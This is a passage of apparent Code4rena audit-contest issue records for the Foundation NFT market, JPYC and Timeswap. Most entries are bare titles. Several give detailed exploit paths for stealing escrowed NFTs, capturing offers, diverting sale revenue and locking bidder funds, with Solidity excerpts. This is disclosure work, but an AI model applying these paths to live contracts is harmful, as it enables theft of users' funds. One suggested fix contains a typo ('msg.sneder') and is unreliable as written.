Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "Escrowed NFT can be stolen by anyone if no active buyPrice or auction exists for it", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketCore.sol#L77-L87 # Vulnerability details ## Impact If a NFT happens to be in escrow with neither buyPrice, nor auction being initialised for it, there is a way to obtain it for free by any actor via `makeOffer`, `acceptOffer` combination. I.e. a malicious user can track the FNDNFTMarket contract and obtain any NFT from it for which there are no buyPrice or auction structures initialised. For example, if a NFT is mistakenly sent to the contract, an attacker can immediately steal it. This will happen as NFT is being guarded by buyPrice and auction structures only. The severity here is medium as normal usage of the system imply that either one of them is initialised (NFT was sent to escrow as a part of `setBuyPrice` or `createReserveAuction`, and so one of the structures is present), so this seems to leave only mistakenly sent assets exposed. ## Proof of Concept An attacker can make a tiny offer with `makeOffer`: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L189 Then call `acceptOffer`, which will lead to `_acceptOffer`. Direct NFT transfer will fail in `_acceptOffer` as the NFT is being held by the contract and `_transferFromEscrow` will be called instead: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L262-L271 `_transferFromEscrow` calls will proceed according to the FNDNFTMarket defined order: ``` function _transferFromEscrow( ... ) internal override(NFTMarketCore, NFTMarketReserveAuction, NFTMarketBuyPrice, NFTMarketOffer) { super._transferFromEscrow(nftContract, tokenId, recipient, seller); } ``` If there are no corresponding structures, the NFTMarketOffer, NFTMarketBuyPrice and NFTMarketReserveAuction versions of `_transferFromEscrow` will pass through the call to NFTMarketCore's plain transfer implementation: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketCore.sol#L77-L87 This will effectively transfer the NFT to the attacker, which will pay gas costs and an arbitrary small offer price for it. ## Recommended Mitigation Steps Consider adding additional checks to control who can obtain unallocated NFTs from the contract. Protocol controlled entity can handle such cases manually by initial sender's request. "}, {"title": "An offer made after auction end can be stolen by an auction winner", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/49", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketReserveAuction.sol#L556-L560 # Vulnerability details ## Impact An Offer which is made for an NFT when auction has ended, but its winner hasn't received the NFT yet, can be stolen by this winner as `_transferFromEscrow` being called by `_acceptOffer` will transfer the NFT to the winner, finalising the auction, while no transfer to the user who made the offer will happen. This way the auction winner will obtain both the NFT and the offer amount after the fees at no additional cost, at the expense of the user who made the offer. ## Proof of Concept When an auction has ended, there is a possibility to make the offers for an auctioned NFT as: `makeOffer` checks `_isInActiveAuction`: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L200 `_isInActiveAuction` returns false when `auctionIdToAuction[auctionId].endTime < block.timestamp`, so `makeOffer` above can proceed: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketReserveAuction.sol#L666-L669 Then, the auction winner can call `acceptOffer -> _acceptOffer` (or `setBuyPrice -> _autoAcceptOffer -> _acceptOffer`). `_acceptOffer` will try to transfer directly, and then calls `_transferFromEscrow`: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L262-L271 If the auction has ended, but a winner hasn't picked up the NFT yet, the direct transfer will fail, proceeding with `_transferFromEscrow` in the FNDNFTMarket defined order: ``` function _transferFromEscrow( address nftContract, uint256 tokenId, address recipient, address seller ) internal override(NFTMarketCore, NFTMarketReserveAuction, NFTMarketBuyPrice, NFTMarketOffer) { super._transferFromEscrow(nftContract, tokenId, recipient, seller); } ``` NFTMarketOffer._transferFromEscrow will call super as `nftContractToIdToOffer` was already deleted: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L296-L302 NFTMarketBuyPrice._transferFromEscrow will call super as there is no buy price set: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketBuyPrice.sol#L283-L293 Finally, NFTMarketReserveAuction._transferFromEscrow will send the NFT to the winner via `_finalizeReserveAuction`, not to the user who made the offer: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketReserveAuction.sol#L556-L560 The `recipient` user who made the offer is not present in this logic, the NFT is being transferred to the `auction.bidder`, and the original `acceptOffer` will go through successfully. ## Recommended Mitigation Steps An attempt to set a buy price from auction winner will lead to auction finalisation, so `_buy` cannot be called with a not yet finalised auction, this way the NFTMarketReserveAuction._transferFromEscrow L550-L560 logic is called from the NFTMarketOffer._acceptOffer only: https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L270 is the only user of https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketReserveAuction.sol#L550-L560 This way the fix is to update L556-L560 for the described case as: Now: ``` // Finalization will revert if the auction has not yet ended. _finalizeReserveAuction(auctionId, false); // Finalize includes the transfer, so we are done here. return; ``` To be, we leave the NFT in the escrow and let L564 super call to transfer it to the recipient: ``` // Finalization will revert if the auction has not yet ended. _finalizeReserveAuction(auctionId, true); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "Private sale spoofing", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/46", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "Private sale spoofing"}, {"title": "`MAX_ROYALTY_RECIPIENTS_INDEX` set too low", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/45", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "`MAX_ROYALTY_RECIPIENTS_INDEX` set too low"}, {"title": "`LockedBalance` library should drop parameters to 96/32 bits", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "`LockedBalance` library should drop parameters to 96/32 bits"}, {"title": "Missing receiver validation in `withdrawFrom`", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/42", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/4d8c8931baffae31c7506872bf1100e1598f2754/contracts/FETH.sol#L433 # Vulnerability details ## Impact The `FETH.withdrawFrom` function does not validate its `to` parameter. Funds can be lost if `to` is the zero address. > Similar issues have been judged as medium recently, see [Sandclock M-15](https://code4rena.com/reports/2022-01-sandclock/) / [Github issue](https://github.com/code-423n4/2022-01-sandclock-findings/issues/183#issuecomment-1024626171) ## Recommended Mitigation Steps Check that `to != 0`. "}, {"title": "Primary seller can avoid paying the primary fee", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/39", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "Primary seller can avoid paying the primary fee"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "Creators can steal sale revenue from owners' sales", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/30", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/a03a7e198c1dfffb1021c0e8ec91ba4194b8aa12/contracts/mixins/NFTMarketCreators.sol#L158-L160 https://github.com/code-423n4/2022-02-foundation/blob/a03a7e198c1dfffb1021c0e8ec91ba4194b8aa12/contracts/mixins/NFTMarketCreators.sol#L196-L198 https://github.com/code-423n4/2022-02-foundation/blob/a03a7e198c1dfffb1021c0e8ec91ba4194b8aa12/contracts/mixins/NFTMarketCreators.sol#L97-L99 # Vulnerability details According to the `README.md` > All sales in the Foundation market will pay the creator 10% royalties on secondary sales. This is not specific to NFTs minted on Foundation, it should work for any NFT. If royalty information was not defined when the NFT was originally deployed, it may be added using the Royalty Registry which will be respected by our market contract. https://github.com/code-423n4/2022-02-foundation/blob/4d8c8931baffae31c7506872bf1100e1598f2754/README.md?plain=1#L21 Using the Royalty Registry an owner can decide to change the royalty information right before the sale is complete, affecting who gets what. ## Impact By updating the registry to include the seller as one of the royalty recipients, the creator can steal the sale price minus fees. This is because if code finds that the seller is a royalty recipient the royalties are all passed to the creator regardless of whether the owner is the seller or not. ## Proof of Concept ```solidity // 4th priority: getRoyalties override if (recipients.length == 0 && nftContract.supportsERC165Interface(type(IGetRoyalties).interfaceId)) { try IGetRoyalties(nftContract).getRoyalties{ gas: READ_ONLY_GAS_LIMIT }(tokenId) returns ( address payable[] memory _recipients, uint256[] memory recipientBasisPoints ) { if (_recipients.length > 0 && _recipients.length == recipientBasisPoints.length) { bool hasRecipient; for (uint256 i = 0; i < _recipients.length; ++i) { if (_recipients[i] != address(0)) { hasRecipient = true; if (_recipients[i] == seller) { return (_recipients, recipientBasisPoints, true); ``` https://github.com/code-423n4/2022-02-concur/blob/72b5216bfeaa7c52983060ebfc56e72e0aa8e3b0/contracts/MasterChef.sol#L127-L154 When `true` is returned as the final return value above, the following code leaves `ownerRev` as zero because `isCreator` is `true` ```solidity uint256 ownerRev ) { bool isCreator; (creatorRecipients, creatorShares, isCreator) = _getCreatorPaymentInfo(nftContract, tokenId, seller); // Calculate the Foundation fee uint256 fee; if (isCreator && !_nftContractToTokenIdToFirstSaleCompleted[nftContract][tokenId]) { fee = PRIMARY_FOUNDATION_FEE_BASIS_POINTS; } else { fee = SECONDARY_FOUNDATION_FEE_BASIS_POINTS; } foundationFee = (price * fee) / BASIS_POINTS; if (creatorRecipients.length > 0) { if (isCreator) { // When sold by the creator, all revenue is split if applicable. creatorRev = price - foundationFee; } else { // Rounding favors the owner first, then creator, and foundation last. creatorRev = (price * CREATOR_ROYALTY_BASIS_POINTS) / BASIS_POINTS; ownerRevTo = seller; ownerRev = price - foundationFee - creatorRev; } } else { // No royalty recipients found. ownerRevTo = seller; ownerRev = price - foundationFee; } } ``` In addition, if the index of the seller in `_recipients` is greater than `MAX_ROYALTY_RECIPIENTS_INDEX`, then the seller is omitted from the calculation and gets zero (`_sendValueWithFallbackWithdraw()` doesn't complain when it sends zero) ```solidity uint256 maxCreatorIndex = creatorRecipients.length - 1; if (maxCreatorIndex > MAX_ROYALTY_RECIPIENTS_INDEX) { maxCreatorIndex = MAX_ROYALTY_RECIPIENTS_INDEX; } ``` https://github.com/code-423n4/2022-02-foundation/blob/4d8c8931baffae31c7506872bf1100e1598f2754/contracts/mixins/NFTMarketFees.sol#L76-L79 This issue does a lot of damage because the creator can choose whether and when to apply it on a sale-by-sale basis. Two other similar, but separate, exploits are available for the other blocks in `_getCreatorPaymentInfo()` that return arrays but they either require a malicious NFT implementation or can only specify a static seller for which this will affect things. In all cases, not only may the seller get zero dollars for the sale, but they'll potentially owe a lot of taxes based on the 'sale' price. The attacker may or may not be the creator - creators can be bribed with kickbacks. ## Tools Used Code inspection ## Recommended Mitigation Steps Always calculate owner/seller revenue separately from royalty revenue "}, {"title": "Exchange does not split royalty revenue correctly", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/29", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "Exchange does not split royalty revenue correctly"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "NFT owner can create multiple auctions", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/23", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/4d8c8931baffae31c7506872bf1100e1598f2754/contracts/mixins/NFTMarketReserveAuction.sol#L325-L349 https://github.com/code-423n4/2022-02-foundation/blob/4d8c8931baffae31c7506872bf1100e1598f2754/contracts/mixins/NFTMarketReserveAuction.sol#L596-L599 # Vulnerability details # Impact NFT owner can permanently lock funds of bidders. # Proof of concept Alice (the attacker) calls `createReserveAuction`, and creates one like normal. let this be auction id 1. Alice calls `createReserveAuction` again, before any user has placed a bid (this is easy to guarantee with a deployed attacker contract). We'd expect that Alice wouldn't be able to create another auction, but she can, because `_transferToEscrow` doesn't revert if there's an existing auction. let this be Auction id 2. Since `nftContractToTokenIdToAuctionId[nftContract][tokenId]` will contain auction id 2, all bidders will see that auction as the one to bid on (unless they inspect contract events or data manually). Alice can now cancel auction id 1, then cancel auction id 2, locking up the funds of the last bidder on auction id 2 forever. # Mitigation Prevent NFT owners from creating multiple auctions "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/15", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "Approve race condition in FETH", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/14", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "Approve race condition in FETH"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/13", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor acknowledged"], "target": "2022-02-foundation-findings", "body": "QA report"}, {"title": "SendValueWithFallbackWithdraw: withdrawFor function may fail to withdraw ether recorded in pendingWithdrawals", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/12", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/SendValueWithFallbackWithdraw.sol#L37-L77 # Vulnerability details ## Impact The NFTMarketFees contract and the NFTMarketReserveAuction contract use the _sendValueWithFallbackWithdraw function to send ether to FoundationTreasury, CreatorRecipients, Seller, Bidder. When the receiver fails to receive due to some reasons (exceeding the gas limit or the receiver contract cannot receive ether), it will record the ether to be sent in the pendingWithdrawals variable. ``` function _sendValueWithFallbackWithdraw( address payable user, uint256 amount, uint256 gasLimit ) internal { if (amount == 0) { return; } // Cap the gas to prevent consuming all available gas to block a tx from completing successfully // solhint-disable-next-line avoid-low-level-calls (bool success, ) = user.call{ value: amount, gas: gasLimit }(\"\"); if (!success) { // Record failed sends for a withdrawal later // Transfers could fail if sent to a multisig with non-trivial receiver logic unchecked { pendingWithdrawals[user] += amount; } emit WithdrawPending(user, amount); } } ``` The user can then withdraw ether via the withdraw or withdrawFor functions. ``` function withdraw() external { withdrawFor(payable(msg.sender)); } function withdrawFor(address payable user) public nonReentrant { uint256 amount = pendingWithdrawals[user]; if (amount == 0) { revert SendValueWithFallbackWithdraw_No_Funds_Available(); } pendingWithdrawals[user] = 0; user.sendValue(amount); emit Withdrawal(user, amount); } ``` However, the withdrawFor function can only send ether to the address recorded in pendingWithdrawals. When the recipient is a contract that cannot receive ether, these ethers will be locked in the contract and cannot be withdrawn. ## Proof of Concept https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/SendValueWithFallbackWithdraw.sol#L37-L77 ## Tools Used None ## Recommended Mitigation Steps Add the withdrawTo function as follows: ``` function withdrawTo(address payable to) public nonReentrant { uint256 amount = pendingWithdrawals[msg.sneder]; if (amount == 0) { revert SendValueWithFallbackWithdraw_No_Funds_Available(); } pendingWithdrawals[msg.sneder] = 0; to.sendValue(amount); emit Withdrawal(msg.sneder, amount); } ``` "}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-02-foundation-findings", "body": "QA report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-foundation-findings/issues/1", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/56", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-02-jpyc-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/51", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/47", "labels": ["bug", "question", "QA (Quality Assurance)", "resolved"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/40", "labels": ["bug", "question", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/35", "labels": ["bug", "question", "QA (Quality Assurance)", "resolved"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor disputed"], "target": "2022-02-jpyc-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/27", "labels": ["bug", "question", "G (Gas Optimization)", "resolved"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/24", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/20", "labels": ["bug", "question", "G (Gas Optimization)", "resolved"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/18", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-02-jpyc-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor acknowledged"], "target": "2022-02-jpyc-findings", "body": "QA report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-02-jpyc-findings", "body": "QA report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-02-jpyc-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/2", "labels": ["bug", "question", "G (Gas Optimization)", "resolved"], "target": "2022-02-jpyc-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-jpyc-findings/issues/1", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-jpyc-findings", "body": "QA report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "QA Report"}, {"title": "Underflown variable in ``borrowGivenDebtETHCollateral`` function", "html_url": "https://github.com/code-423n4/2022-03-timeswap-findings/issues/32", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-timeswap-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-timeswap/blob/main/Timeswap/Convenience/contracts/libraries/Borrow.sol#L121-L127 # Vulnerability details ## Impact ``borrowGivenDebtETHCollateral`` function does never properly call ``ETH.transfer`` due to underflow. If ``borrowGivenDebtETHCollateral`` function is not deprecated, it would cause unexpected behaviors for users. ## Proof of Concept Here are codes which contain a potential issue. https://github.com/code-423n4/2022-03-timeswap/blob/main/Timeswap/Convenience/contracts/libraries/Borrow.sol#L121-L127 ``` if (maxCollateral > dueOut.collateral) { uint256 excess; unchecked { excess -= dueOut.collateral; } ETH.transfer(payable(msg.sender), excess); } ``` ``excess`` variable is ``uint256``, and ``dueOut.collateral`` variable is ``uint112`` as shown below. Hence, both variables will never be less than 0. https://github.com/code-423n4/2022-03-timeswap/blob/main/Timeswap/Core/contracts/interfaces/IPair.sol#L22-L26 ``` struct Due { uint112 debt; uint112 collateral; uint32 startBlock; } ``` ``uint256 excess`` is initialized to 0. However, subtracting ``dueOut.collateral`` variable which is more than or equal to 0 from ``excess`` variable which is 0 will be less than 0. Hence, ``excess -= dueOut.collateral`` will be less than 0, and ``excess`` will be underflown. ## Tools Used static code analysis ## Recommended Mitigation Steps The code should properly initialize ``excess`` variable. ``borrowGivenPercentETHCollateral`` function uses ``uint256 excess = maxCollateral`` at similar functionality. https://github.com/code-423n4/2022-03-timeswap/blob/main/Timeswap/Convenience/contracts/libraries/Borrow.sol#L347 Hence, just initializing ``excess`` variable with ``maxCollateral`` can be a potential workaround to prevent the underflown. ``` if (maxCollateral > dueOut.collateral) { uint256 excess = maxCollateral; unchecked { excess -= dueOut.collateral; } ETH.transfer(payable(msg.sender), excess); } ``` "}, {"title": "Gas 